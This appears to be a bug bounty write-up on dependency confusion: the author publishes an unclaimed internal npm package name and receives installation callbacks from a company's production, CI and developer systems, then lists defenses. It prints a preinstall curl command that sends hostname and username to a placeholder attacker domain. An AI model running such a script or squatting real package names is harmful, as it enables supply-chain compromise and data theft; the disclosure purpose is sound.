Remote Code Execution via an Unclaimed Node Package: A Real-World Dependency Confusion Story

RCE Unclaimed Node Package
Illustration of RCE Unclaimed Node Package


There’s a moment in every bug bounty hunt where something small feels… off.

Not broken. Not obviously vulnerable. Just slightly out of place.

In this case, it was a single import path buried in a JavaScript file. Nothing fancy. No exposed secrets, no obvious injection points—just a reference to an internal package that wasn’t supposed to exist publicly.

That tiny detail turned into full-blown Remote Code Execution.

The Subtle Clue Most People Ignore

While reviewing a target’s frontend assets, I came across a scoped package reference:

/node_modules/@confidential-package-name

If you’ve worked with Node.js in real-world environments, you know what this usually means: private packages. Internal tooling. Stuff that should never be resolved from the public registry.

Out of curiosity, I checked whether this package existed publicly.

It didn’t.

That’s where things got interesting.

Because in npm, “doesn’t exist” doesn’t mean protected—it means available.

The Dangerous Assumption Behind Dependency Resolution

Most teams assume their package manager will automatically prioritize private registries.

In practice, that assumption breaks more often than people think.

All it takes is one misconfigured CI pipeline, one developer machine without proper .npmrc settings, or one fallback rule—and suddenly your internal dependency is being fetched from the public registry.

This is where dependency confusion becomes real. It’s not about exploiting code—it’s about exploiting trust.

Turning an Empty Namespace into Code Execution

To validate the risk, I registered and published the missing package:

@confidential-package-name

The payload wasn’t complicated. No obfuscation. No advanced exploitation chain.

Just a simple preinstall script:

curl --data-urlencode "info=$(hostname && whoami)" http://<attacker-domain>.oast.fun
Unclaimed Node Package

This script silently executes during installation and sends basic system information back to a controlled server.

No crashes. No visible impact. Just quiet execution.

The Wait (That Didn’t Take Long)

After publishing the package, I expected minimal interaction—maybe a test system or a misconfigured environment.

Instead, within hours, callbacks started coming in.

Then more.

And more.

Over time, I observed requests from:

  • Production servers
  • CI/CD pipelines
  • Developer environments
  • Staging systems

Each request confirmed the same thing: the company’s infrastructure was downloading and executing my package automatically.

Node package RCE

No user interaction required.

This is what makes dependency confusion dangerous—it turns a passive mistake into active Remote Code Execution.

What the Data Revealed

The callbacks were more than proof—they were reconnaissance.

Hostnames revealed internal naming conventions.

Usernames hinted at privilege levels.

IP addresses mapped infrastructure and cloud providers.

Even without a destructive payload, the intelligence gathered was enough to plan deeper attacks.

And that’s the part many teams underestimate: RCE is just the entry point.

A Realistic Scenario You Should Consider

Imagine this happening in a modern DevOps pipeline:

A developer pushes code. The CI pipeline spins up, installs dependencies, and unknowingly pulls a malicious package from npm.

Now the attacker’s code runs inside your build environment.

From there, it can:

  • Read environment variables
  • Extract API keys
  • Access internal services
  • Modify build artifacts

No firewall helps here. No WAF detects it.

Because the system thinks it’s installing a trusted dependency.

Node package RCE

Reporting and Outcome

After collecting over 150 HTTP and DNS interactions, I filtered out noise and analyzed the remaining data.

Using WHOIS and infrastructure mapping, I confirmed that multiple requests originated from the company’s environments and their service providers.

The report was submitted with clear evidence of Remote Code Execution.

It was triaged the same day and fully resolved within a week.

The result: a $2,500 bounty and, more importantly, a critical supply chain issue fixed before it could be abused.

Where Most Defenses Fail

In my experience, companies don’t fail because they lack security tools.

They fail because of assumptions like:

  • “Our private packages are safe.”
  • “Our registry is always prioritized.”
  • “No one knows our internal package names.”

All three are wrong more often than you’d expect.

Practical Steps to Prevent This

If you’re running Node.js in production, these are not optional:

  • Use a strict .npmrc configuration that forces private registry resolution
  • Disable fallback to public registries for internal scopes
  • Pre-register internal package names on npm (even if unused)
  • Audit dependency resolution in CI/CD pipelines
  • Monitor outbound requests during package installation

And one more thing that rarely gets mentioned:

Log every install event in your pipeline.

Because if something unexpected gets pulled, you want to know immediately—not after someone publishes a write-up.

Final Thoughts

This wasn’t a complex exploit. No zero-days. No advanced techniques.

Just observation, timing, and understanding how modern development workflows actually behave under the hood.

Dependency confusion isn’t going away anytime soon. If anything, it’s becoming more relevant as teams rely more heavily on automation and third-party packages.

Sometimes, the most critical vulnerabilities aren’t hidden deep in code.

They’re hiding in plain sight—waiting for someone to notice what everyone else ignores.

Reference:https://medium.com/@p0lyxena/2-500-bug-bounty-write-up-remote-code-execution-rce-via-unclaimed-node-package-6b9108d10643